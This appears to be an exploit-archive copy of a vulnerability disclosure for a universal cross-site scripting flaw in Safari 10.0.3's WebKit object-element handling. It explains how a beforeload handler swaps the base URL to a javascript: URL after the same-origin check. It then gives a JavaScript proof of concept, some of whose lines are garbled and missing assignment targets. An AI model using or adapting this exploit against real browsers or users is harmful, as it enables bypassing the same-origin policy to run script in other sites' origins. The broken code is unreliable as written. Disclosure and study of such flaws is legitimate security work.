Edit Report

Our sensors found this exploit at:

Below is a copy:

Apple Safari 10.0.3(12602.4.8) / WebKit HTMLObjectElement::updateWidget Universal Cross-Site Scripting<!-- 
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.
Here's some snippets of the logic.
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
    String url = this->url(); 
    if (!allowedToLoadFrameURL(url))
    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
    if (m_pluginReplacement)
        return true;
    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);
    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;
    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());
    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    return true;
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.
Tested on Safari 10.0.3(12602.4.8).
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;
    o.onbeforeload = () => {
        o.onbeforeload = null;
        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    }; = 'xxxxx';
o.type = 'text/html'; = '';

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